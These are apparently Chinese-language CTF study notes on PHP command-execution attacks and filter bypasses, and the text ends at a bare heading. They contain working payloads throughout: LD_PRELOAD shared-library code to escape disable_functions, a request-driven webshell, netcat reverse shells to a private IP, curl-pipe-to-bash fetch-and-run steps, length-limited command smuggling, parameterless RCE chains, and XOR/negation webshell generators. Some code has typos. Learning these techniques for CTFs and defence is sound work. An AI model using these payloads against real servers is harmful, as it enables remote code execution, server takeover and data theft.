PHP命令执行
一.命令执行函数介绍
system exec passthru shell_exec 反引号 popen proc_open pcntl_exec
了解能否回显,需求的参数
system(string $command,int &$return_var=?)
command为执行的命令(必须),return_var用来记录命令执行后返回的状态(可选)
system函数有回显
exec(string $command,array &$output=?,int &$return_var=?)
command为执行的命令,单独使用时只有最后一行结果,且不会回显
output:用命令执行的输出填充此数组,每行输出一个元素,用print_r(array)或var_dump输出结果
var返回状态(忽略)
passthru(string $command,int &$return_var)
command:执行的命令,var忽略
二进制数据(无关)
直接回显,不需要print_r
shell_exec(string $cmd)
无回显,需要print_r,echo..
反引号`$cmd`
无回显
popen(string $command,string $mode)
mode(模式):’r’表示阅读,’w’表示写入。(命令执行后会把内容放到一个临时文档)
这个文档需要用fgets获取内容,用print_r输出内容
‘w’模式支持自动回显,r模式需要用print_r
proc_open(1,2,3,4,5,6) //不常用
1,2,3必须
1:command; 2:descriptor_spec 定义数组内容 3:pipes:调用数组内容
descriptor_spec需要预定义,$pipes[1]写入,stream_get_contents($pipes[1]);读取,需要echo
pcntl_exec(1,2,3) //后续讲解
此模块需额外安装
1:string $path为一个可执行二进制文件,在linux中/bin/命令
为二进制执行
2:array $args是传递给程序的参数
3:$envs是字符串数组,key=>value格式,key代表要传递的环境变量的名称,value代表环境变量的值
二、替换绕过函数过滤
过滤exec|system|popen|proc_open|`
用其他函数,如passthru(‘cmd’)绕过
三、LD_PRELOAD绕过原理
1.应用场景
disable_functions禁用所有可能用到的命令执行函数
2.程序的链接
(1)静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
(2)装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
(3)运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。
3.LD_PRELOAD
修改库文件
影响程序运行时的链接,加载别的动态链接可以,甚至覆盖正常的库
使用自己的或是更好的函数(无需别人的源码),也可以向别人的程序注入恶意程序
使用方法:
- mail 内嵌在php里
- imagick需要扩展安装
1.mail
vim demo.php
1 2 3
| <?php mail('','','',''); ?>
|
strace -o 1.txt -f php demo.php
把输出写到1.txt文件
cat 1.txt | grep execve
检查调用了那些子程序,调用了sendmail函数
readelf -Ws /usr/sbin/sendmail
查看调用了哪些库文件,其中geteuid库文件(获取用户uid信息)可以替换自己写的库文件
1 2 3 4 5 6 7 8 9 10
| #include <stdlib.h> #include <stdio.h> #include <string.h> void payload(){ system("echo'小可爱,你邮件还能发出去么?"); } int geteuid(){ unsetenv("LD PRELOAD"); payload(); }
|
粘贴到vim poc.c
,gcc -shared -fPIC demo.c -o demo.so
编译成.so文件,生成动态链接库文件
在此之前,需要修改demo,php更改库文件(esc wq保存)
1 2 3 4
| <?php putenv("LD_PRELOAD=./poc.so"); mail(",",","); ?>
|
这时调用php demo.php
输出小可爱,你邮件还能发出去么?
原理mail->sendmail()->geteuid()
绕过条件:
1.能够上传自己的.so文件;
2.能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数并且未被禁止;
3.存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LDPRELOAD
中的.so文件),比如mail()、imap mail()、mb_send_mail()和error_log()等。
4.例题-81端口禁用函数例题
ld-prlooad防炸
dpkg-reconfigure dash
yes
dpkg-reconfigure bash
做完了改回来
1.上传.so和.php
使用蚁剑链接可以上传下载文件(不能直接查看根目录)
1 2 3 4 5 6 7 8 9 10
| #include <stdlib.h> #include <stdio.h> #include <string.h> void payload(){ system("cat /flag > /tmp/flag"); } int geteuid(){ unsetenv("LD PRELOAD"); payload(); }
|
粘贴到vim poc.c
,gcc -shared -fPIC demo.c -o demo.so
编译成.so文件,生成动态链接库文件
从/root/php找到demo.so,拷贝到windows
再编辑demo.php文件
1 2 3 4
| <?php putenv("LD_PRELOAD=./poc.so"); mail('','','',''); ?>
|
一起上传到蚁剑,网页访问/demo.php,在tmp目录找到flag
*为了避免重复上传文件,更改c文件的system为system("nc 192.168.xxx.xxx 7777 -e /bin/bash")
反弹shell
nc -lvp 7777
监听7777端口
上传.so .php文件,访问demo.php,此时直接在linux终端输入命令即可
EVIL_CMDLINE(不如nc)
把要执行的命令赋值到环境变量EVIL_CMDLINE直接读取命令
demo.c->.so
1 2 3 4 5 6 7 8 9
| #include <stdlib.h> #include <stdio.h> #include <string.h> int geteuid(){ const char* cmdline = getenv("EVIL CMDLINE"); if(getenv("LD PRELOAD")== NULL){ return 0; } unsetenV("LD PRELOAD"); system(cmdline); }
|
demo.php
1 2 3 4 5 6 7 8 9 10
| <?php $cmd =$_REQUEST["cmd"]; $out_path=$_REQUEST["outpath"]; $qvil_cmdline = $cmd.">".$out path." 2>&1" echo "<br /><b>cmdline: </b>".$evil cmdline; putenv("EVIL CMDLINE=".$evil cmdline); $so_path =$ _REQUEST["sopath"]; putenv("LD PRELOAD=".$so_path); mail(",",",") echo "<br /><b>output: </b><br />".nl2br(file_get_contents($out_path));
|
上传.so,.php
访问url/demo.php?cmd=ls&outpath=/tmp/benben&sopath=./demo.so
四、蚁剑及pcntl绕过函数过滤
1.蚁剑
利用蚁剑的插件绕过
蚁剑链接.antproxy.php文件,即可成功执行命令,在虚拟终端中利用tac /flag
即可读取
PHP7 GC with Certain Destructors UAF直接打开虚拟终端
2.pcntl_exec
需要单独安装
pcntl_exec(1,2,3)
- string $path :必须是可执行二进制文件路径或一个在文件第一行制定了一个可执行文件路径标头的脚本(例如#!/lusr/local/bin/perl)
- array $args:传递给程序的单数的字符串数组,用于执行命令
- envs:环境变量,忽略
例如*#/bin/bash* -c /bin/ls 前面是path 后面是args -c为执行此二进制文件
前提:info信息中没有禁用pcntl_exec函数
pcntl_exec函数没有回显
- cat文件并输出到有权限读取的路径
- shell反弹
payload:cmd=pcntl_exec("/bin/bash",array("-c","nc 192.168.xxx.xxx 7777 -e /bin/bash"));
注意是post还是get
nc -lvp 7777
监听端口即可
五、操作系统连接符
拼接命令
1.分号 ;
可以使命令都执行,类似sql堆叠注入
用法:可以提前闭合命令,或加上其他东西报错
-666;cat /flag;
需要在页面源代码查看(tac指令可以直接显示)
2.&
必须url编码%26
与;效果接近 ,同时执行多条命令
3. && 与
如果前面命令执行成功,则执行后面命令,记得编码
?cmd=%26%26pwd%26%26tac /flag
4.| 管道输出符
把前面的命令输出座位后面命令的输入,都会执行,但只显示后面执行的结果
echo "ls -l" | /bin/bash
5.|| 或
前面执行成功则后面的不执行,前面的失败后面的执行
应用:
1 2 3 4 5 6 7 8 9
| <?php highlight_file(_FILE_); error_reporting(0); $cmd=$ GET["cmd"]; $cmd = $cmd." >/dev/null 2>&1"; if(isset($cmd)){ system($cmd); } ?>
|
绕过方法:
cmd=ls||
忽略掉后边的指令
六、空格过滤绕过
$cmd= preg replace("# #","",$cmd);
正则替换
例如:ls -l查看文件详细信息将失效
绕过方法:
1.大括号{cat,flag.txt}
2.$IFS,${IFS},$IFS$9 (内敛字段分隔符) 在Linux系统中用加大括号界定
3.重定向字符<,<>;
“<”是输出重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备
cat<flag.php; cat<>flag.php(>会创建文件)
4.url编码%09->Tab %20->[空格]
七、文件名过滤绕过
!preg_match("/flag|system|php/i",$cmd)
绕过方法
1.通配符? *绕过
cat fl?g.php
?在Linux可以替代字母,可以替代很多字母 ????.???
*可以进行模糊匹配,代表任何字符串 cat f*
2.单引号,双引号绕过
‘’,””空字符 插入空字符
fl””ag fl''ag
3.反斜杠
反斜杠是换行的标志
4.特殊变量
$1,$9,$@,$*无意义的字符
5.内联执行
a=f;d=ag;c=l;cat \$a\$c\$b.txt
6.利用Linux中的环境变量
试用环境变量里的字符执行变量
echo $PATH
会输出环境变量
${PATH:5:1}
代表从第5个字符起取出1个字符
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
/也是字符,从0开始数
#echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}g.${PATH:93:1}h${PATH:93:1}
八、常见文件读取命令绕过
(!preg_match("/flag|php|cat|sort|shell\'/i",$cmd)
绕过方法:
- tac:反向显示
自下而上
- more:一页一页的显示档案内容 查看源代码
- less:效果和more类似
- tail:查看末尾几行(最后十行)
- nl:显示的时候显示行号,查看源代码
- od:以二进制方式读取文件内容
cmd=passthru("od -A d -c fla\g/ph\p")
可以把ascii码转换成字符,一行32字节
- xxd:读取二进制文档
左边二进制右边字符
- sort:主要用于排序文件
?cmd=passthru("/usr/bin/so?t fl\ag.p\hp")
应对sort被过滤
- uniq:报告或删除文件中重复的行
- file -f:报错出具体内容
- grep:在文本中查找指定的字符串
grep fl fla*
从fla*文件中搜索包含fla的字符串的行,一般搜索{
- 一定记得加分号
九、编码绕过
绕过原理
命令编码后的字符串–绕过过滤—>目标服务器—解码—>执行命令
1.base64编码
1 2 3 4
| import base64 S = b'cat flag.php' e64= base64.b64encode(S) print(e64)
|
cat flag.php->Y2F0lGZsYWcucGhw
echo "Y2F0lGZsYWcucGhw" | base64 -d
管道输出符 -d表示decode解码
让命令执行passthru(‘ 1 or 2 or 3 ‘)
echo Y2F0lGZsYWcucGhw | base64 -d | /bin/bash
/bin/bash or bash or sh…
- 反引号
- $()
2.base32
与base64同
3.HEX编码(acsii)
1 2 3 4
| import binacsii s = b"tac flag" h= binascii.b2a_hex(s) print(h)
|
tac flag.php->74616320666c61672e706870
``#echo “74616320666c61672e706870” | xxd -r-p | bash`
4.shellcode编码(16进制机器码)
当服务器没装xxd可以用
tac flag.php ->\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70
也就是把ascii每两个之前加\x
十、无回显时间盲注
适用条件:页面无法反弹shell,无回显,没有写入权限
原理:根据返回时间来判断(时间盲注)
函数:sleep 1 -> 睡眠一秒
awk NR:逐行读取 cat flag.php | awk NR==1读取第一行
cut -c:读取第几个字符 cat flag.php | awk NR==1 | cut -c 1读取第一行第一个字符
if [ ];then 条件为真执行;fi finish表示条件为假什么也不执行,注意if之后必须有空格if [2>1];then echo 'right;fi'
$()执行语句,字母不用加引号
时间盲注:#if [$(cat flag |awk NR==2|cut -c 1)== F ];then sleep 2;fi
十一、长度过滤绕过
一、前置知识
1.> echo "benben" > a
创建a文件,再次创建会覆盖 touch a为创建一个空文件a
2.>> echo "benben" >> a
追加内容
3.\ 换行 cat a等价于 c\换行a\换行 t\换行 a
4.ls -t ls排序,按文件名排序:符号>数字>字符串
ls -t排序,按时间顺序排序,最近>最远
组合运用:把一些很短的文件名拼接成可执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13
| >ag >/fl\\ >t\ \\ >ca\\ ls -t>a cat a ----> ca\ t \ fl\ ag ----> . a
|
5.dir:基本上和ls一样 优点:开头是d,次序靠前,按列输出不换行
$(dir *):把第一个文件名执行,第二个以后的作为参数输出,再执行
6.rev flag 把flag反向输出
二、长度为七的绕过
cat flag|nc 192.168.xxx.xxx 7777
1 2 3 4 5 6 7 8 9 10 11 12 13
| ?cmd=>7777 ?cmd=>\ \\ ?cmd=>xxx\\ ?cmd=>xxx.\\ ?cmd=>168.\\ ?cmd=>192.\\ ?cmd=>c\ \\ ?cmd=>\|n\\ ?cmd=>flag\\ ?cmd=>t\ \\ ?cmd=>ca\\ ?cmd=ls -t>a#刚好7字符 ?cmd=sh a
|
三、长度为五的绕过
新的问题:1.ls -t>a超过5个字符 2.空格>\ \刚好5个字符,但是这个文件只能有一个,其他的空格无法构造
解决方法:curl 192.168.1.161|bash
,将自己开的服务器的index.html代码执行,反弹shell
执行nc 192.168.x.x 7777 -e /bin/bash
步骤一:构造ls -t>y
1 2 3 4 5 6 7
| >ls\\
ls>_ >\ \\ >-t\\ >\>y ls>>_
|
步骤二:构造curl 192.168.1.161|bash
从后往前
执行代码:
搭建一个server
1 2 3 4
| touch index.html vim index.html python -m http.server 80 nc -lvp 7777
|
四、长度为四的绕过
新的问题:ls>>_ 超过四个
步骤一:构造ls -t>g
步骤二:构造一个反弹shell curl 0xC0A801A1|bash 16进制地址
*:相当于$(dir *)执行第一个文件名,后面的作为参数
1 2 3 4 5 6 7 8 9 10
| >\;g >g\> >ht- >sl >dir *>v
>rev *v>x
|
步骤二:十六进制地址编码
十二、无参数命令执行
正则表达式
只有a()的括号里面没有内容的时候才会执行,(?R)代表递归,a(b())嵌套也会执行
1.请求头绕过
getallheaders():获取所有http请求标头,无回显,需要用print_r()括住,与我们提交的相反
php>=5.4 or php7
1 2 3 4
| end(); pos();
?code=eval(pos(getallheaders()));
|
可以自己创一个头
可以用apache_request_headers()替换,仅当服务器是apache搭建时可用
2.无参数全局变量RCE
适用于php5/7
get_defined_vars() 返回所有已定义变量的值
1 2 3 4
| ?code=print_r(pos(get_defined_vars()));&cmd=system('ls'); ?code=print_r(end(pos(get_defined_vars())));&cmd=system('ls');
?code=eval(end(pos(get_defined_vars())));&cmd=system('ls');
|
可以把cmd(可更改)插入数组
3.无参数session RCE -php5
session_start():启用新回话/重用现有会话
sesion_id(session_start()):返回PHPSESSID的值
show_source()可以看到值,print_r()不行
1 2 3
| ?cmd=eval(sesion_id(session_start()));
?cmd=eval(hex2bin(sesion_id(session_start()));
|
4.scandir读取
函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| 1.scandir() 2.getcwd() 3.current() 4.next() 5.array_reverse() 6.array_flip() 7.array_rand() 8.chdir() 9.strrev() 10.crypt() 11.hebrevc() 12.localeconv()
|
用法
1 2 3
| show_source(current(array_reverse(scandir(pos(localeconv())))));
|
1 2 3 4 5 6 7 8 9
| dirname(getcwd()) print_r(scandir(dirname(getcwd())));
show_source(end(scandir(dirname(chdir(dirname(getcwd()))); show_source(current(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))); #如果要读取的文件不在开头末尾,用rand show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))); #注意外面的dirname()由于不能再向上读取,读取到的是自己,也就是.
|
另外两种读取方法:(没用getcwd(),dirname())
取第一个字符:ord()只能随机一个字符hex编码,chr()只能随机一个字符解码
1 2 3 4 5 6 7
| print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
print_r(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));
|
十三、无字母数字命令执行
一、异或运算绕过
原理:两个字符异或运算是ascii码的二进制按位进行异或运算,得到新字符。
1 2 3
| $_=" "^" "; $_(); ?cmd=$_="+(+).&/"^"[@[@@@@";$_();
|
1 2 3 4 5 6 7
| <?php $a='assert'; $b='_POST'; $c=$$b; $a($c['_']); ?>
|
异或运算得到
记得编码,配合post方法_=nc 192.168.x.x -e /bin/bash;
1 2 3 4 5 6 7
| <?php $_='_POST'; $__=$$_; `$__['_']`; ?>
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php header("content-type:text/html;charset=utf-8"); highlight_file(__FILE__); error_reporting(0); $shell = "phpinfo"; $result1 = ""; $result2 = "";
function judge($c) { if(!preg_match('/[a-z0-9]/is',$c)) { return true; } return false; }
for($num=0;$num<=strlen($shell);$num++) { for($x=33;$x<=126;$x++) { if(judge(chr($x))) { for($y=33;$y<=126;$y++) { if(judge(chr($y))) { $f = chr($x)^chr($y); if($f == $shell[$num]) { $result1 .= chr($x); $result2 .= chr($y); break 2; } } } } } } echo "<br>"; echo "异或运算第一部分: ".$result1; echo "<br>"; echo "异或运算第二部分: ".$result2; echo "<br>";
echo "+(+).&/"^"[@[@@@@";
|
二、取反绕过
~( ):二进制取反
~(urldecode(%9e)); = a 因为9e超过了16进制最大,用url编码解码
中文字符:’极’ -> e69e81 ->有三位(0,1,2),每位两个字母,所以$a{1}就是9e,~($a{1})是a
脚本neg.php,所有的中文都是取{1}
或者直接用url编码assert post
php7用反引号!$_POST[_]
,无回显,反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| <?php header("Content-type:text/html;charset=utf-8"); error_reporting(0); $shell ="phpinfo" ; $result = ""; $arr =array(); $word = "一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺 木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引 丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们 仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾 扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传 乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅 字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖 护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我 乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟 没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖 拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚 旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿 胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试 郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪 某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂 哗咱响哈咬咳哪炭峡罚贱贴骨钞钟钢钥钩卸缸拜看矩怎牲选适秒香种秋科重复竿段便俩贷顺修保促侮俭俗俘信皇泉鬼侵追俊盾待律很须叙剑逃食盆胆胜胞胖脉勉狭狮独狡狱狠贸怨急饶蚀 饺饼弯将奖哀亭亮度迹庭疮疯疫疤姿亲音帝施闻阀阁差养美姜叛送类迷前首逆总炼炸炮烂剃洁洪洒浇浊洞测洗活派洽染济洋洲浑浓津恒恢恰恼恨举觉宣室宫宪突穿窃客冠语扁袄祖神祝误 诱说诵垦退既屋昼费陡眉孩除险院娃姥姨姻娇怒架贺盈勇怠柔垒绑绒结绕骄绘给络骆绝绞统耕耗艳泰珠班素蚕顽盏匪捞栽捕振载赶起盐捎捏埋捉捆捐损都哲逝捡换挽热恐壶挨耻耽恭莲莫 荷获晋恶真框桂档桐株桥桃格校核样根索哥速逗栗配翅辱唇夏础破原套逐烈殊顾轿较顿毙致柴桌虑监紧党晒眠晓鸭晃晌晕蚊哨哭恩唤啊唉罢峰圆贼贿钱钳钻铁铃铅缺氧特牺造乘敌秤租积 秧秩称秘透笔笑笋债借值倚倾倒倘俱倡候俯倍倦健臭射躬息徒徐舰舱般航途拿爹爱颂翁脆脂胸胳脏胶脑狸狼逢留皱饿恋桨浆衰高席准座脊症病疾疼疲效离唐资凉站剖竞部旁旅畜阅羞瓶拳 粉料益兼烤烘烦烧烛烟递涛浙涝酒涉消浩海涂浴浮流润浪浸涨烫涌悟悄悔悦害宽家宵宴宾窄容宰案请朗诸读扇袜袖袍被祥课谁调冤谅谈谊剥恳展剧屑弱陵陶陷陪娱娘通能难预桑绢绣验继 球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探据掘职基著勒黄萌萝菌菜萄菊萍菠营械梦梢梅检梳梯桶救副票戚爽聋袭盛雪辅辆虚雀堂常匙晨睁眯眼悬野啦晚啄距跃略蛇累唱患唯崖崭崇 圈铜铲银甜梨犁移笨笼笛符第敏做袋悠偿偶偷您售停偏假得衔盘船斜盒鸽悉欲彩领脚脖脸脱象够猜猪猎猫猛馅馆凑减毫麻痒痕廊康庸鹿盗章竟商族旋望率着盖粘粗粒断剪兽清添淋淹渠渐 混渔淘液淡深婆梁渗情惜惭悼惧惕惊惨惯寇寄宿窑密谋谎祸谜逮敢屠弹随蛋隆隐婚婶颈绩绪续骑绳维绵绸绿琴斑替款堪搭塔越趁趋超提堤博揭喜插揪搜煮援裁搁搂搅握揉斯期欺联散惹葬 葛董葡敬葱落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼厨厦硬确雁殖裂雄暂雅辈悲紫辉敞赏掌晴暑最量喷晶喇遇喊景践跌跑遗蛙蛛蜓喝喂喘喉幅帽赌赔黑铸铺链销锁锄锅锈锋锐短智毯鹅剩 稍程稀税筐等筑策筛筒答筋筝傲傅牌堡集焦傍储奥街惩御循艇舒番释禽腊脾腔鲁猾猴然馋装蛮就痛童阔善羡普粪尊道曾焰港湖渣湿温渴滑湾渡游滋溉愤慌惰愧愉慨割寒富窜窝窗遍裕裤裙 谢谣谦属屡强粥疏隔隙絮嫂登缎缓编骗缘瑞魂肆摄摸填搏塌鼓摆携搬摇搞塘摊蒜勤鹊蓝墓幕蓬蓄蒙蒸献禁楚想槐榆楼概赖酬感碍碑碎碰碗碌雷零雾雹输督龄鉴睛睡睬鄙愚暖盟歇暗照跨跳 跪路跟遣蛾蜂嗓置罪罩错锡锣锤锦键锯矮辞稠愁筹签简毁舅鼠催傻像躲微愈遥腰腥腹腾腿触解酱痰廉新韵意粮数煎塑慈煤煌满漠源滤滥滔溪溜滚滨粱滩慎誉塞谨福群殿辟障嫌嫁叠缝缠静 碧璃墙撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷酿酸磁愿需弊裳颗嗽蜻蜡蝇蜘赚锹锻舞稳算箩管僚鼻魄貌膜膊膀鲜疑馒裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨赛察蜜谱 嫩翠熊凳骡缩慧撕撒趣趟撑播撞撤增聪鞋蕉蔬横槽樱橡飘醋醉震霉瞒题暴瞎影踢踏踩踪蝶蝴嘱墨镇靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩颜毅糊遵潜潮懂额慰劈操燕薯薪薄颠橘整融醒餐 嘴蹄器赠默镜赞篮邀衡膨雕磨凝辨辩糖糕燃澡激懒壁避缴戴擦鞠藏霜霞瞧蹈螺穗繁辫赢糟糠燥臂翼骤鞭覆蹦镰翻鹰警攀蹲颤瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕刁丐歹戈夭仑讥冗邓艾 夯凸卢叭叽皿凹囚矢乍尔冯玄邦迂邢芋芍吏夷吁吕吆屹廷迄臼仲伦伊肋旭匈凫妆亥汛讳讶讹讼诀弛阱驮驯纫玖玛韧抠扼汞扳抡坎坞抑拟抒芙芜苇芥芯芭杖杉巫杈甫匣轩卤肖吱吠呕呐吟呛 吻吭邑囤吮岖牡佑佃伺囱肛肘甸狈鸠彤灸刨庇吝庐闰兑灼沐沛汰沥沦汹沧沪忱诅诈罕屁坠妓姊妒纬玫卦坷坯拓坪坤拄拧拂拙拇拗茉昔苛苫苟苞茁苔枉枢枚枫杭郁矾奈奄殴歧卓昙哎咕呵咙 呻啰咒咆咖帕账贬贮氛秉岳侠侥侣侈卑刽刹肴觅忿瓮肮肪狞庞疟疙疚卒氓炬沽沮泣泞泌沼怔怯宠宛衩祈诡帚屉弧弥陋陌函姆虱叁绅驹绊绎契贰玷玲珊拭拷拱挟垢垛拯荆茸茬荚茵茴荞荠荤 荧荔栈柑栅柠枷勃柬砂泵砚鸥轴韭虐昧盹咧昵昭盅勋哆咪哟幽钙钝钠钦钧钮毡氢秕俏俄俐侯徊衍胚胧胎狰饵峦奕咨飒闺闽籽娄烁炫洼柒涎洛恃恍恬恤宦诫诬祠诲屏屎逊陨姚娜蚤骇耘耙秦 匿埂捂捍袁捌挫挚捣捅埃耿聂荸莽莱莉莹莺梆栖桦栓桅桩贾酌砸砰砾殉逞哮唠哺剔蚌蚜畔蚣蚪蚓哩圃鸯唁哼唆峭唧峻赂赃钾铆氨秫笆俺赁倔殷耸舀豺豹颁胯胰脐脓逛卿鸵鸳馁凌凄衷郭斋 疹紊瓷羔烙浦涡涣涤涧涕涩悍悯窍诺诽袒谆祟恕娩骏琐麸琉琅措捺捶赦埠捻掐掂掖掷掸掺勘聊娶菱菲萎菩萤乾萧萨菇彬梗梧梭曹酝酗厢硅硕奢盔匾颅彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾 啤啥啸崎逻崔崩婴赊铐铛铝铡铣铭矫秸秽笙笤偎傀躯兜衅徘徙舶舷舵敛翎脯逸凰猖祭烹庶庵痊阎阐眷焊焕鸿涯淑淌淮淆渊淫淳淤淀涮涵惦悴惋寂窒谍谐裆袱祷谒谓谚尉堕隅婉颇绰绷综绽 缀巢琳琢琼揍堰揩揽揖彭揣搀搓壹搔葫募蒋蒂韩棱椰焚椎棺榔椭粟棘酣酥硝硫颊雳翘凿棠晰鼎喳遏晾畴跋跛蛔蜒蛤鹃喻啼喧嵌赋赎赐锉锌甥掰氮氯黍筏牍粤逾腌腋腕猩猬惫敦痘痢痪竣翔 奠遂焙滞湘渤渺溃溅湃愕惶寓窖窘雇谤犀隘媒媚婿缅缆缔缕骚瑟鹉瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷榄楞楣酪碘硼碉辐辑频睹睦瞄嗜嗦暇畸跷跺蜈蜗蜕蛹嗅嗡嗤署蜀幌锚锥锨锭锰稚颓筷魁衙 腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥 谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥 霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹 靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗"; function mb_str_split( $string ) { return preg_split('/(?<!^)(?!$)/u', $string ); } foreach (mb_str_split($word) as $c) { $arr[] = $c; }
for ($x=0;$x<strlen($shell);$x++) { for ($y=0;$y<count($arr);$y++) { $k = $arr[$y]; if ($shell[$x] == ~($k{1})) { $result .= $k; $result1 .= "%".bin2hex($k{1}); break; } } } echo "字符串:".$result; echo "<br>"; echo "URL编码:".$result1; echo "<br>"; echo "解码后的结果 ".~(urldecode($result1));
|
三、无字母数字自增绕过
